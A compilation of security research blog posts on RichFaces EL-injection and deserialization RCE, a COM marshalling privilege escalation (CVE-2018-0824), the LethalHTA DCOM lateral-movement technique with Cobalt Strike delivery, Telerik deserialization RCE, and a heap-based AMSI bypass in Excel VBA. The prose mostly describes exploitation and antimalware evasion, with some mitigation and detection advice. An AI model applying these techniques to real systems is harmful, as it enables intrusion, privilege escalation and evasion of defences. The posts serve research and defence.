In RichFaces 4.x, it is basically the same: the org.richfaces.resource.DefaultCodecResourceRequestData holds the request data passed via db/do and Util.decodeObjectData(String) is used in the latter case. That method then decodes and decompresses the data in a similar way and finally deserializes it without any further validation.

This can be exploited with ysoserial using a suitable gadget.

The arbitrary Java deserialization was patched in RichFaces 3.3.4 and 4.3.3 by introducing look-ahead deserialization with a limited set of whitelisted classes.[3] Due to several aftereffects, the list was extended occasionally.[4]

CVE-2015-0279: Arbitrary EL Evaluation

The RichFaces issue RF-13977 corresponding to this vulnerability is public and actually quite detailed. It describes that the RichFaces Showcase application utilizes the MediaOutputResource dynamic resource builder. The data object passed in the do URL parameter holds the state object, which is used by MediaOutputResource.restoreState(FacesContext, Object) to restore its state. This includes the contentProducer field, which is expected to be a MethodExpression object. That MethodExpression later gets invoked by MediaOutputResource.encode(FacesContext) to pass execution to the referenced method to generate the resource's contents. In the mentioned example, the EL method expression #{mediaBean.process} references the process method of a Java Bean named mediaBean.

Now the problem with that is that the EL expression can be changed, even just with basic Linux utilities. There is no protection in place that would prevent one from tampering with it. Depending on the EL implementation, this allows arbitrary code execution, as demonstrated by the reporter:

However, exploitation of this vulnerability is not always that easy. Especially if there is no existing sample of a valid do state object that can be tampered with. Because if one would want to create the state object, it would require the use of compatible libraries, otherwise the deserialization may fail. Moreover, the EL implementation does not allow arbitrary expressions with parameterized invocations in method expressions as this has only just been added in EL 2.2. EL exploitation is quite an interesting topic in itself.

The patch for this issue introduced in RichFaces 4.5.4 was to check the expression of the contentProducer whether it contains a parenthesis. This would prevent the invocation of methods with parameters like loadClass("java.lang.Runtime").

The Present

The kind of the past vulnerabilities led to the assumption that there may be a way to bypass the mitigations. And after some research, two ways were found to gain remote code execution in a similar manner also affecting the latest RichFaces versions 3.3.4 and 4.5.17:

RF-14310: Arbitrary EL Evaluation in RichFaces 3.x ≤ 3.3.4
Injection of arbitrary EL expressions allows remote code execution via org.richfaces.renderkit.html.Paint2DResource.
RF-14309: Arbitrary EL Evaluation in RichFaces 4.5.3 ≤ 4.5.17
Injection of arbitrary EL variable mapper allows to bypass mitigation of CVE-2015-0279 and thereby remote code execution.

Although the issues RF-14309 and RF-14310 were discovered in the order of their identifier, we'll explain them in the opposite order. Also note that the issues are not public but only visible to persons responsible to resolve security issues.

RF-14310: Arbitrary EL Evaluation

This vulnerability is very similar to CVE-2015-0279/RF-13799. While the injection of arbitrary EL expressions was possible right from the beginning, there is always a need to get them triggered somehow. This similarity was found in the org.richfaces.renderkit.html.Paint2DResource class. When a resource of that type gets requested, its send(ResourceContext) method gets called. The resource data transmitted in the request must be an org.richfaces.renderkit.html.Paint2DResource$ImageData object. This passes the whitelisting as ImageData extends org.ajax4jsf.resource.SerializableResource, which actually was introduced in 3.3.4 to fix the Java deserialization vulnerability.

RF-14309: Arbitrary EL Evaluation

As the patch to CVE-2015-0279 introduced in 4.5.4 disallowed the use of parenthesis in the EL method expression of the contentProducer, it seemed like a dead end. But if you are fimilar with EL internals, you would know that they can have custom function mappers and variable mappers, which are used by the ELResolver to resolve functions (i. e., name in ${prefix:name()}) and variables (i. e., var in ${var.property}) to Method and ValueExpression instances respectively. Fortunately, various VariableMapper implementations were added to the whitelist starting with 4.5.3.[5]

So to exploit this, all that is needed is to use a variable in the contentProducer method expression like ${dummy.toString} and add an appropriate VariableMapper to the method expression that maps dummy to a ValueExpression of your choice.

The Future

RichFaces has reached its end-of-life in June 2016 and their RichFaces End-Of-Life Questions & Answers is pretty clear on the time thereafter:

What will happen if a serious bug or security issue is discovered in the future?

There will be no patches after the end of support. In case of discovering a serious issue you will have to develop a patch yourself or switch to another framework.

RichFaces End-Of-Life Questions & Answers

So we can't expect official patches.

The Bonus

While looking for ways to exploit the recent versions of RichFaces, there were two classes in the JSF API 2.0 and later, which seemed promising:

The interesting thing about these classes is that they have a equals(Object) method, which eventually calls getType(ELContext) on a EL value expression. For example, if equals(Object) gets called on a ValueExpressionValueBindingAdapter object with a ValueExpression object as other, getType(ELContext) of other gets called. And as the value expression has to be evaluated to determine its resulting type, this can be used as a Java deserialization primitive to execute EL value expressions on deserialization.

This is very similar to the Myfaces1 and Myfaces2 gadgets in ysoserial.[6] However, while they require Apache MyFaces, this one is independent from the JSF implementation and only requires a matching EL implementation.

Unfortunately, this gadget does not work for RichFaces. The reason for that is that ValueExpressionValueBindingAdapter needs to have a valid value binding as getType(ELContext) gets called first. But javax.faces.el.ValueBinding is not whitelisted. And wrapping it in a StateHolderSaver does not work because the state object is of type Object[] and therefore the cast to Serializable[] in StateHolderSaver.restore(FacesContext) fails.[7] This is probably a bug in RichFaces as Serializable[] is not whitelisted either although StateHolderSaver uses Serializable[] internally on StateHolder instances.

Conclusion

It has been shown that all RichFaces versions 3.x and 4.x including the latest 3.3.4 and 4.5.17 are exploitable by one or multiple vulnerabilities:

  • RichFaces 3
    • 3.1.0 ≤ 3.3.3: CVE-2013-2165
    • 3.1.0 ≤ 3.3.4: RF-14310
  • RichFaces 4
    • 4.0.0 ≤ 4.3.2: CVE-2013-2165
    • 4.0.0 ≤ 4.5.4: CVE-2015-0279
    • 4.5.3 ≤ 4.5.17: RF-14309

As we can't expect official patches, one way to mitigate all these vulnerabilities is to block requests to the concerned URLs:

  • Blocking requests of URLs with paths containing /DATA/ should mitigate CVE-2013-2165 and RF-14310.
  • Blocking requests of URLs with paths containing org.richfaces.resource.MediaOutputResource (literally or URL encoded) should mitigate CVE-2015-0279 and RF-14309.

Marshalling to SYSTEM - An analysis of CVE-2018-0824

By: Unknown
15 June 2018 at 13:19
In May 2018 Microsoft patched an interesting vulnerability (CVE-2018-0824) which was reported by Nicolas Joly of Microsoft's MSRC:
A remote code execution vulnerability exists in "Microsoft COM for Windows" when it fails to properly handle serialized objects. An attacker who successfully exploited the vulnerability could use a specially crafted file or script to perform actions. In an email attack scenario, an attacker could exploit the vulnerability by sending the specially crafted file to the user and convincing the user to open the file. In a web-based attack scenario, an attacker could host a website (or leverage a compromised website that accepts or hosts user-provided content) that contains a specially crafted file that is designed to exploit the vulnerability. However, an attacker would have no way to force the user to visit the website. Instead, an attacker would have to convince the user to click a link, typically by way of an enticement in an email or Instant Messenger message, and then convince the user to open the specially crafted file. The security update addresses the vulnerability by correcting how "Microsoft COM for Windows" handles serialized objects.
The keywords "COM" and "serialized" pretty much jumped into my face when the advisory came out. Since I had already spent several months of research time on Microsoft COM last year I decided to look into it. Although the vulnerability can result in remote code execution, I'm only interested in the privilege escalation aspects.

Before I go into details I want to give you a quick introduction into COM and how deserialization/marshalling works. As I'm far from being an expert on COM, all this information is either based on the great book "Essential COM" by Don Box or the awesome Infiltrate '17 Talk "COM in 60 seconds". I have skipped several details (IDL/MIDL, Apartments, Standard Marshalling, etc.) just to keep the introduction short.

Introduction to COM and Marshalling

COM (Component Object Model) is a Windows middleware having reusable code (=component) as a primary goal. In order to develop reusable C++ code, Microsoft engineers designed COM in an object-oriented manner having the following key aspects in mind:
  • Portability
  • Encapsulation
  • Polymorphism
  • Separation of interfaces from implementation
  • Object extensibility
  • Resource Management
  • Language independence

COM objects are defined by an interface and implementation class. Both interface and implementation class are identified by a GUID. A COM object can implement several interfaces using inheritance.
All COM objects implement the IUnknown interface which looks like the following class definition in C++:

The QueryInterface() method is used to cast a COM object to a different interface implemented by the COM object. The AddRef() and Release() methods are used for reference counting.

Just to keep it short I rather go on with an existing COM object instead of creating an artificial example COM object. A Control Panel COM object is identified by the GUID {06622D85-6856-4460-8DE1-A81921B41C4B}. To find out more about the COM object we could analyze the registry manually or just use the great tool "OleView .NET".

The "Control Panel" COM object implements several interfaces as we can see in the screenshot of OleView .NET: The implementation class of the COM object (COpenControlPanel) can be found in shell32.dll. To open a "Control Panel" programmatically we make use of the COM API:
  • In line 6 we initialize the COM environment
  • In line 7 we create an instance of a "Control Panel" object
  • In line 8 we cast the instance to the IOpenControlPanel interface
  • In line 9 we open the "Control Panel" by calling the "Open" method
Inspecting the COM object in the debugger after running until line 9 shows us the virtual function table (vTable) of the object:

The function pointers in the vTable of the object point to the actual implementation functions in shell32.dll. The reason for that is that the COM object was created as a so called InProc server which means that shell32.dll got loaded into the current process address space. When passing CLSCTX_ALL, CoCreateInstance() tries to create an InProc server first. If it fails, other activation methods are tried (see CLSCTX enumeration).

By changing the CLSCTX_ALL parameter to function CoCreateInstance() to CLSCTX_LOCAL_SERVER and running the program again we can notice some differences: The vTable of the object contains now function pointers from the OneCoreUAPCommonProxyStub.dll. And the 4th function pointer which corresponds to the Open()" method now points to OneCoreUAPCommonProxyStub!ObjectStublessClient3().

The reason for that is that we created the COM object as an out-of-process server. The following diagram tries to give you an architectural overview (shamelessly borrowed from Project Zero):

The function pointers in the COM object point to functions of the proxy class. When we execute the IOpenControlPanel::Open()" method, the method OneCoreUAPCommonProxyStub!ObjectStublessClient3() gets called on the proxy. The proxy class itself eventually calls RPC methods (e.g. RPCRT4!NdrpClientCall3) to send the parameters to the RPC server in the out-of-process server. The parameters need to get serialized/marshalled to send them over RPC. In the out-of-process-server the parameters get deserialized/unmarshalled and the Stub invokes shell32!COpenControlPanel::Open(). For non-complex parameters like strings the serialization/marshalling is trivial as these are sent by value.

How about complex parameters like COM objects? As we can see from the method definition of IOpenControlPanel::Open() the third parameter is a pointer to an IUnknown COM object:
The answer is that a complex object can either get marshalled by reference (standard marshalling) or the serialization/marshalling logic can be customized by implementing the IMarshal interface (custom marshalling).

The IMarshal interface has a few methods as we can see in the following definition:
During serialization/marshalling of a COM object the IMarshal::GetUnmarshalClass() method gets called by the COM which returns the GUID of the class to be used for unmarshalling. Then the method IMarshal::GetMarshalSizeMax() is called to prepare a buffer for marshalling data. Finally the IMarshal::MarshalInterface() method is called which writes the custom marshalling data to the IStream object. The COM runtime sends the GUID of the "Unmarshal class" and the IStream object via RPC to the server.

On the server the COM runtime creates the "Unmarshal class" using the CoCreateInstance() function, casts it to the IMarshal interface using QueryInterface and eventually invokes the IMarshsal::UnmarshalInterface() method on the "Unmarshal class" instance, passing the IStream as a parameter.

And that's also where all the misery starts ...

Diffing the patch

After downloading the patch for Windows 8.1 x64 and extracting the files, I found two patched DLLs related to Microsoft COM:
  • oleaut32.dll
  • comsvcs.dll
Using Hexray's IDA Pro and Joxean Koret's Diaphora I analyzed the changes made by Microsoft.
In oleaut32.dll several functions were changed but nothing special related to deserialisation/marshalling:


In comsvcs.dll only four functions were changed:


Clearly, one method stood out: CMarshalInterceptor::UnmarshalInterface().

The method CMarshalInterceptor::UnmarshalInterface() is the implementation of the UnmarshalInterface() method of the IMarshal interface. As we already know from the introduction this method gets called during unmarshalling.

The bug

Further analysis was done on Windows 10 Redstone 4 (1803) including March patches (ISO from MSDN). In the very beginning of the method CMarshalInterceptor::UnmarshalInterface() 20 bytes are read from the IStream object into a buffer on the stack.

Later the bytes in the buffer are compared against the GUID of the CMarshalInterceptor class (ECABAFCB-7F19-11D2-978E-0000F8757E2A). If the bytes in the stream match we reach the function CMarshalInterceptor::CreateRecorder().


In function CMarshalInterceptor::CreateRecorder() the COM-API function ReadClassStm is called. This function reads a CLSID(GUID) from the IStream and stores it into a buffer on the stack. Then the CLSID gets compared against the GUID of a CompositeMoniker.
As you may have already followed the different Moniker "vulnerabilities" in 2016/17 (URLMoniker, ScriptMoniker, SOAPMoniker), Monikers are definitely something you want to find in code which you might be able to trigger.

The IMoniker interface inherits from IPersistStream which allows a COM object implementing it to load/save itself from/to an IStream object. Monikers identify objects uniquely and can locate, activate and get a reference to the object by calling the BindToObject() method of the IMoniker instance.

If the CLSID doesn't match the GUID of the CompositeMoniker we follow the path to the right. Here, the COM-API functionCoCreateInstance() is called with the CLSID read from the IStream as the first parameter. If COM finds the specific class and is able to cast it to an IMoniker interface we reach the next basic block. Next, the IPersistStream::Load() method is called on the newly created instance which restores the saved Moniker state from the IStream object.

And finally we reach the call to BindToObject() which triggers all evil ...

Exploiting the bug

For exploitation I'm following the same approach as described in the bug tracker issue "DCOM DCE/RPC Local NTLM Reflection Elevation of Privilege" by Project Zero.
I'm creating a fake COM Object class which implements the IStorage and IMarshal interfaces.

All implementation methods for the IStorage interface will be forwarded to a real IStorage instance as we will see later. Since we are implementing custom marshalling, the COM runtime wants to know which class will be used to deserialize/unmarshal our fake object. Therefore the COM runtime calls IMarshal::GetUnmarshalClass(). To trigger the Moniker, we just need to return the GUID of the "QC Marshal Interceptor Class" class (ECABAFCB-7F19-11D2-978E-0000F8757E2A).

The final step is to implement the IMarshal::MarshalInterface() method. As you already know the method gets called by the COM runtime to marshal an object into an IStream.
To trigger the call to IMoniker::BindToObject(), we only need to write the required bytes to the IStream object to satisfy all conditions in CMarshalInterceptor::UnmarshalInterface().

I tried to create a Script Moniker COM object with CLSID {06290BD3-48AA-11D2-8432-006008C3FBFC} using CoCreateInstance(). But hey, I got a "REGDB_E_CLASSNOTREG" error code. Looks like Microsoft introduced some changes. Apparently, the Script Moniker wouldn't work anymore. So I thought of exploiting the bug using the "URLMoniker/hta file". But luckily I remembered that in the method CMarshalInterceptor::CreateRecorder() we had a check for a CompositeMoniker CLSID.

So following the left path, we have a basic block in which 4 bytes are read from the stream into the stack buffer (var_78). Next we have a call to CMarshalInterceptor::LoadAndCompose() with the IStream, a pointer to an IMoniker interface pointer and the value from the stack buffer as parameters.

.
In this method an IMoniker instance is read and created from the IStream using the OleLoadFromStream() COM-API function. Later in the method, CMarshalInterceptor::LoadAndCompose() is called recursively to compose a CompositeMoniker. By invoking IMoniker::ComposeWith() a new IMoniker is created being a composition of two monikers. The pointer to the new CompositeMoniker will be stored in the pointer which was passed to the current function as parameter. As we have seen in one of the previous screenshots the BindToObject() method will be called on the CompositeMoniker later on.

As I remembered from Haifei Li's blog post there was a way to create a Script Moniker by composing a File Moniker and a New Moniker. Armed with that knowledge I implemented the final part of the IMarshal::MarshalInterface() method.

I placed a SCT file in "c:\temp\poc.sct" which runs notepad from an ActiveXObject. Then I tried BITS as a target server first which didn't work.

Using OleView .NET I found out that BITS doesn't support custom marshalling (see EOAC_NO_CUSTOM_MARSHAL). But the SearchIndexer service with CLSID {06622d85-6856-4460-8de1-a81921b41c4b} was running as SYSTEM and allowed custom marshalling.
So I created a PoC which has the following main() function.

The call to CoGetInstanceFromIStorage() will activate the target COM server and trigger the serialization of the FakeObject instance. Since the COM-API function requires an IStorage as a parameter, we had to implement the IStorage interface in our FakeObject class.
After running the POC we finally have a "notepad.exe" running as SYSTEM.


The POC can be found on our github.

The patch

Microsoft is now checking a flag read from the Thread-local storage. The flag is set in a different method not related to marshalling. If the flag isn't set, the function CMarshalInterceptor::UnmarshalInterface() will exit early without reading anything from the IStream.

Takeaways

Serialization/Unmarshalling without validating the input is bad. That's for sure.
Although this blog post only covers the privilege escalation aspect, the vulnerability can also be triggered from Microsoft Office or by an Active X running in the browser. But I will leave this as an exercise to the reader :-)

LethalHTA - A new lateral movement technique using DCOM and HTA

By: Unknown
6 July 2018 at 12:08

The following blog post introduces a new lateral movement technique that combines the power of DCOM and HTA. The research on this technique is partly an outcome of our recent research efforts on COM Marshalling: Marshalling to SYSTEM - An analysis of CVE-2018-0824.

Previous Work

Several lateral movement techniques using DCOM were discovered in the past by Matt Nelson, Ryan Hanson, Philip Tsukerman and @bohops. A good overview of all the known techniques can be found in the blog post by Philip Tsukerman. Most of the existing techniques execute commands via ShellExecute(Ex). Some COM objects provided by Microsoft Office allow you to execute script code (e.g VBScript) which makes detection and forensics even harder.

LethalHTA

LethalHTA is based on a very well-known COM object that was used in all the Office Moniker attacks in the past (see FireEye's blog post):

  • ProgID: "htafile"
  • CLSID : "{3050F4D8-98B5-11CF-BB82-00AA00BDCE0B}"
  • AppID : "{40AEEAB6-8FDA-41E3-9A5F-8350D4CFCA91}"
Using James Forshaw's OleViewDotNet we get some details on the COM object. The COM object runs as local server.

It has an App ID and default launch and access permissions. Only COM objects having an App ID can be used for lateral movement.

It also implements various interfaces as we can see from OleViewDotNet.

One of the interfaces is IPersistMoniker. This interface is used to save/restore a COM object's state to/from an IMoniker instance.

Our initial plan was to create the COM object and restore its state by calling the IPersistMoniker->Load() method with a URLMoniker pointing to an HTA file. So we created a small program and run it in VisualStudio.

But calling IPersistMoniker->Load() returned an error code 0x80070057. After some debugging we realized that the error code came from a call to CUrlMon::GetMarshalSizeMax(). That method is called during custom marshalling of a URLMoniker. This makes perfect sense since we called IPersistMoniker->Load() with a URLMoniker as a parameter. Since we do a method call on a remote COM object the parameters need to get (custom) marshalled and sent over RPC to the RPC endpoint of the COM server.

So looking at the implementation of CUrlMon::GetMarshalSizeMax() in IDA Pro we can see a call to CUrlMon::ValidateMarshalParams() at the very beginning.

At the very end of this function we can find the error code set as return value of the function. Microsoft is validating the dwDestContext parameter. If the parameter is MSHCTX_DIFFERENTMACHINE (0x2) then we eventually reach the error code.

As we can see from the references to CUrlMon::ValidateMarshalParams() the method is called from several functions during marshalling.

In order to bypass the validation we can take the same approach as described in our last blog post: Creating a fake object. The fake object needs to implement IMarshal and IMoniker. It forwards all calls to the URLMoniker instance. To bypass the validation the implementation methods for CUrlMon::GetMarshalSizeMax, CUrlMon::GetUnmarshalClass, CUrlMon::MarshalInterface need to modify the dwDestContext parameter to MSHCTX_NOSHAREDMEM(0x1). The implementation for CUrlMon::GetMarshalSizeMax() is shown in the following code snippet.

And that's all we need to bypass the validation. Of course we could also patch the code in urlmon.dll. But that would require us to call VirtualProtect() to make the page writable and modify CUrlMon::ValidateMarshalParams() to always return zero. Calling VirtualProtect() might get caught by EDR or "advanced" AV products so we wouldn't recommend it.

Now we are able to call the IPersistMoniker->Load() on the remote COM object. The COM object implemented in mshta.exe will load the HTA file from the URL and evaluate its content. As you already know the HTA file can contain script code such as JScript or VBScript. You can even combine our technique with James Forshaw's DotNetToJScript to run your payload directly from memory!

It should be noted that the file doesn't necessarily need to have the hta file extension. Extensions such as html, txt, rtf work fine as well as no extension at all.

LethalHTA and LethalHTADotNet

We created implementations of our technique in C++ and C#. You can run them as standalone programms. The C++ version is more a proof-of-concept and might help you creating a reflective DLL from it. The C# version can also be loaded as an Assembly with Assembly.Load(Byte[]) which makes it easy to use it in a Powershell script. You can find both implementations under releases on our GitHub.

CobaltStrike Integration

To be able to easily use this technique in our day-to-day work we created a Cobalt Strike Aggressor Script called LethalHTA.cna that integrates the .NET implementation (LethalHTADotNet) into Cobalt Strike by providing two distinct methods for lateral movement that are integrated into the GUI, named HTA PowerShell Delivery (staged - x86) and HTA .NET In-Memory Delivery (stageless - x86/x64 dynamic)

The HTA PowerShell Delivery method allows to execute a PowerShell based, staged beacon on the target system. Since the PowerShell beacon is staged, the target systems need to be able to reach the HTTP(S) host and TeamServer (which are in most cases on the same system).

The HTA .NET In-Memory Delivery takes the technique a step further by implementing a memory-only solution that provides far more flexibility in terms of payload delivery and stealth. Using the this option it is possible to tunnel the HTA delivery/retrieval process through the beacon and also to specify a proxy server. If the target system is not able to reach the TeamServer or any other Internet-connected system, an SMB listener can be used instead. This allows to reach systems deep inside the network by bootstrapping an SMB beacon on the target and connecting to it via named pipe from one of the internal beacons.

Due to the techniques used, everything is done within the mshta.exe process without creating additional processes.

The combination of two techniques, in addition to the HTA attack vector described above, is used to execute everything in-memory. Utilizing DotNetToJScript, we are able to load a small .NET class (SCLoader) that dynamically determines the processes architecture (x86 or x64) and then executes the included stageless beacon shellcode. This technique can also be re-used in other scenarios where it is not apparent which architecture is used before exploitation.

For a detailed explanation of the steps involved visit our GitHub Project.

Detection

To detect our technique you can watch for files inside the INetCache (%windir%\[System32 or SysWOW64]\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\) folder containing "ActiveXObject". This is due to mshta.exe caching the payload file. Furthermore it can be detected by an mshta.exe process spawned by svchost.exe.

Telerik Revisited

7 February 2019 at 10:04

In 2017, several vulnerabilities were discovered in Telerik UI, a popular UI component library for .NET web applications. Although details and working exploits are public, it often proves to be a good idea to take a closer look at it. Because sometimes it allows you to explore new avenues of exploitation.

Introduction

Telerik UI for ASP.NET is a popular UI component library for ASP.NET web applications. In 2017, several vulnerabilities were discovered, potentially resulting in remote code execution:

CVE-2017-9248: Cryptographic Weakness
A cryptographic weakness allows the disclosure of the encryption key (Telerik.Web.UI.DialogParametersEncryptionKey and/or the MachineKey) used to protect the DialogParameters via an oracle attack. It can be exploited to forge a functional file manager dialog and upload arbitrary files and/or compromise the ASP.NET ViewState in case of the latter.
CVE-2017-11317: Hard-coded default key
A hard-coded default key is used to encrypt/decrypt the AsyncUploadConfiguration, which holds the path where uploaded files are stored temporarily. It can be exploited to upload files to arbitrary locations.
CVE-2017-11357: Insecure Direct Object Reference
The name of the file stored in the location specified in AsyncUploadConfiguration is taken from the request and thus allows the upload of files with arbitrary extension.

The vulnerabilities were fixed in R2 2017 SP1 (2017.2.621) and R2 2017 SP2 (2017.2.711), respectively. As for CVE-2017-9248, there is an analysis by PatchAdvisor[1] that gives some insights and exploitation hints. And regarding CVE-2017-11317, the detailed writeup by @straight_blast seems to have been published even half a year before Telerik published an updated version. It describes in detail how the vulnerability was discovered and how it can be exploited to upload an arbitrary file to an arbitrary location. If you're unfamiliar with these vulnerabilities, you may want to read the linked advisories first to get a better understanding.

The Catch

Although the vulnerabilities sound promising, they all have their catch: exploiting CVE-2017-9248 requires many thousands of requests, which can be pretty noticeable and suspicious. And unless it is actually possible to leak the MachineKey (which would allow an exploitation via deserialization of arbitrary ObjectStateFormatter stream), a file upload to an arbitrary location (i. e., CVE-2017-11317) is still limited to the knowledge of an appropriate location with sufficient write permissions.

The problem here is that by default the account that the IIS worker process w3wp.exe runs with is a special account like IIS AppPool\DefaultAppPool. And such an account usually does not have write permissions to the web document root directory like C:\inetpub\wwwroot or similar. Additionally, the web document root of the web application can also be somewhere else and may not be known. So simply writing an ASP.NET web shell probably won't work in many cases.

The Dead End

This was exactly the case when we faced Managed Workplace RMM by Avast Business in a red team assessment where we didn't want to make too much noise. Additionally, unauthenticated access to all *.aspx pages except for Login.aspx was denied, i. e., the handler Telerik.Web.UI.DialogHandler.aspx for exploiting CVE-2017-9248 was not reachable, and the other one, Telerik.Web.UI.SpellCheckHandler.axd, was not registered. So, CVE-2017-11317 seemed to be the only option left.

By enumerating known versions of Telerik Web UI, one request to upload to C:\Windows\Temp was finally successful. But an upload to C:\inetpub\wwwroot did not succeed. And since we did not have access to an installation of Managed Workplace, we had no insights into its directory structure. So this seemed to be a dead end.

The New Avenue

While tracing the path of the provided rauPostData through the Telerik code, there was one aspect that became apparent that was never mentioned before by anyone else: The exploitation of CVE-2017-11317 was always advertised as an arbitrary upload. This seems obvious as the handler's name is AsyncUploadHandler and rauPostData contains the upload configuration.

But after taking a closer look at the code that processes the rauPostData, it showed that the rauPostData is expected to consist of two parts separated by a &.

// Telerik.Web.UI.AsyncUpload.SerializationService
internal static object Deserialize(string obj, Type type)
{
 JavaScriptSerializer serializer = SerializationService.GetSerializer(obj.Length);
 SerializationService.ApplyConverters(type, serializer);
 MethodInfo methodInfo = typeof(JavaScriptSerializer).GetMethod("Deserialize", new Type[]
 {
  typeof(string)
 }, null).MakeGenericMethod(new Type[]
 {
  type
 });
 return methodInfo.Invoke(serializer, new object[]
 {
  obj
 });
}

The first part is the JSON data (line 9). And the second part is the assembly qualified type name (line 10) that the JSON data should be deserialize to. The call in line 11 then ends up in SerializationService.Deserialize(string, Type).

// Telerik.Web.UI.AsyncUploadHandler
internal IAsyncUploadConfiguration GetConfiguration(string rawData)
{
 string[] array = rawData.Split(new char[]
 {
  '&'
 });
 string obj = array[0];
 Type type = Type.GetType(CryptoService.GetService().Decrypt(array[1]));
 IAsyncUploadConfiguration asyncUploadConfiguration = (IAsyncUploadConfiguration)SerializationService.Deserialize(obj, type, true);
 if (!this.IsValidHMac(asyncUploadConfiguration.TargetFolder) || !this.IsValidHMac(asyncUploadConfiguration.TempTargetFolder))
 {
  throw new CryptographicException("The hash is not valid!");
 }
 asyncUploadConfiguration.TargetFolder = AsyncUploadHandler.DecryptFolder(this.GetEncryptedText(asyncUploadConfiguration.TargetFolder));
 asyncUploadConfiguration.TempTargetFolder = AsyncUploadHandler.DecryptFolder(this.GetEncryptedText(asyncUploadConfiguration.TempTargetFolder));
 return asyncUploadConfiguration;
}

Here a JavaScriptSerializer gets parameterized with the type provided in the rauPostData. That means this is an arbitrary JavaScriptSerializer deserialization!

From the research Friday the 13th JSON Attacks by Alvaro Muñoz & Oleksandr Mirosh it is known that arbitrary JavaScriptSerializer deserialization can be harmful if the expected type can be specified by the attacker. During deserialization, appropriate setter methods get called. A suitable gadget is the System.Configuration.Install.AssemblyInstaller, which allows the loading of a DLL by specifying its path. If the DLL is a mixed mode assembly, its DllMain() entry point gets called on load, which allows the execution of arbitrary code in the context of the w3wp.exe process.

This allowed the remote code execution on Managed Workplace without authentication. The issue has been addressed and should be fixed in Managed Workplace 11 SP4 MR2.

Conclusion

So CVE-2017-11317 can be exploited even without the requirement of being able to write to the web document root:

  1. Upload a mixed mode assembly DLL to a writable location using the regular AsyncUploadConfiguration exploit.
  2. Load the uploaded DLL and thereby trigger its DllMain() function using the AssemblyInstaller exploit described above.

This is an excellent example that revisiting old vulnerabilities can be worthwhile and result in new ways out of a supposed dead end.


Heap-based AMSI bypass for MS Excel VBA and others

By: Dan
19 July 2019 at 12:03

This blog post describes how to bypass Microsoft's AMSI (Antimalware Scan Interface) in Excel using VBA (Visual Basic for Applications). In contrast to other bypasses this approach does not use hardcoded offsets or opcodes but identifies crucial data on the heap and modifies it. The idea of an heap-based bypass has been mentioned by other researchers before but at the time of writing this article no public PoC was available. This blog post will provide the reader with some insights into the AMSI implementation and a generic way to bypass it.


Introduction

Since Microsoft rolled out their AMSI implementation many writeups about bypassing the implemented mechanism have been released. Code White regularly conducts Red Team scenarios where phishing plays a great role. Phishing is often related to MS Office, in detail to malicious scripts written in VBA. As per Microsoft AMSI also covers VBA code placed into MS Office documents. This fact motivated some research performed earlier this year. It has been evaluated if and how AMSI can be defeated in an MS Office Excel environment.

In the past several different approaches have been published to bypass AMSI. The following links contain information which were used as inspiration or reference:


The first article from the list above also mentions a heap-based approach. Independent from that writeup, Code White's approach used exactly that idea. During the time of writing this article there was no code publicly available which implements this idea. This was another motivation to write this blog post. Porting the bypass to MS Excel/VBA revealed some nice challenges which were to be solved. The following chapters show the evolution of Code White's implementation in a chronological way:

  • Implementing our own AMSI Client in C to have a debugging platform
  • Understanding how the AMSI API works
  • Bypassing AMSI in our own client
  • Porting this approach to VBA
  • Improving the bypass
  • Improving the bypass - making it production-ready

Implementing our own AMSI Client

In order to ease debugging we will implement our own small AMSI client in C which triggers a scan on the malicious string ‘amsiutils’. This string gets flagged as evil since some AMSI Bypasses of Matt Graeber used it. Scanning this simple string depicts a simple way to check if AMSI works at all and to verify if our bypass is functional. A ready-to-use AMSI client can be found on sinn3r's github . This code provided us a good starting point and also contained important hints, e.g. the pre-condition in the Local Group Policies.

We will implement our test client using Microsoft Visual Studio Community 2017. In a first step, we end up with two functions, amsiInit() and amsiScan(), not to be confused with functions exported by amsi.dll. Later we will add another function amsiByPass() which does what its name suggests. See this gist for the final code including the bypass.



Running the program generates the following output:

This means our ‘amsiutils’ is considered as evil. Now we can proceed working on our bypass.

Understanding AMSI Structures

As promised we would like to do a heap-based bypass. But why heap-based?

At first we have to understand that using the AMSI API requires initializing a so called AMSI Context (HAMSICONTEXT). This context must be initialized using the function AmsiInitialize(). Whenever we want to scan something, e.g. by calling AmsiScanBuffer(), we have to pass our context as first parameter. If the data behind this context is invalid the related AMSI functions will fail. This is what we are after, but let's talk about that later.
Having a look at HAMSICONTEXT we will see that this type gets resolved by the pre-processor to the following:


So what we got here is a pointer to a struct called ‘HAMSICONTEXT__’. Let's have a look where this pointer points to by printing the memory address of  ‘amsiContext’ in our client. This will allow us to inspect its contents using windbg:

The variable itself is located at address 0x16a144 (note we have 32-bit program here) and its content is 0x16c8b10, that's where it points to. At address 0x16c8b10 we see some memory starting with the ASCII characters ‘AMSI’ identifying a valid AMSI context. The output below the memory field is derived via ‘!address’ which prints the memory layout of the current process.

There we can see that the address 0x16c8b10 is allocated to a region starting from 0x16c0000 to 0x16df0000 which is identified as Heap. Okay, that means AmsiInitialize() delivers us a pointer to a struct residing on the heap. A deeper look into AmsiInitialize() using IDA delivers some evidence for that:

The function allocates 16 bytes (10h) using the COM-specific API CoTaskMemAlloc(). The latter is intended to be an abstraction layer for the heap. See here and here for details. After allocating the buffer the Magic Word 0x49534D41 is written to the beginning of the block, which is nothing more than our ‘AMSI’ in ASCII.

It is noteworthy to say that an application cannot easily change this behavior. The content of the AMSI context will always be stored on the heap unless really sneaky things are done, like copying the context to somewhere else or implementing your own memory provider. This explains why Microsoft states in their API  documentation, that the application is responsible to call AmsiUnitialize() when it is done with AMSI. This is because the client cannot (should not) free that memory and the process of cleaning up is performed by the AMSI library.

Now we have understood that
  • the AMSI Context is an important data structure
  • it is always placed on the heap
  • it always starts with the ASCII characters ‘AMSI’
In case our AMSI context is corrupt, functions like AmsiScanBuffer() will fail with a return value different from zero. But what does corrupt mean, how does  AmsiScanBuffer() detect if the context is valid? Let's check that in IDA:


The function does what we already spoilered in the beginning: The first four bytes of the AMSI Context are compared against the value ‘0x49534D41’. If the comparison fails, the function returns with 0x80070057 which does not equal 0 and tells something went wrong.

Bypassing AMSI in our own AMSI Client

Our heap-based approach assumes several things to finally depict a so called bypass:

  • we have already code execution in the context of the AMSI client, e.g. by executing a VBA script
  •  The AMSI client (e.g. Excel) initializes the AMSI context only once and reuses this for every AMSI operation
  • the AMSI client rates the checked payload in case of a failure of AmsiScanBuffer() as ‘not malicious

The first point is not true for our test client but also not required because it depicts only a test vehicle which we can modify as desired.

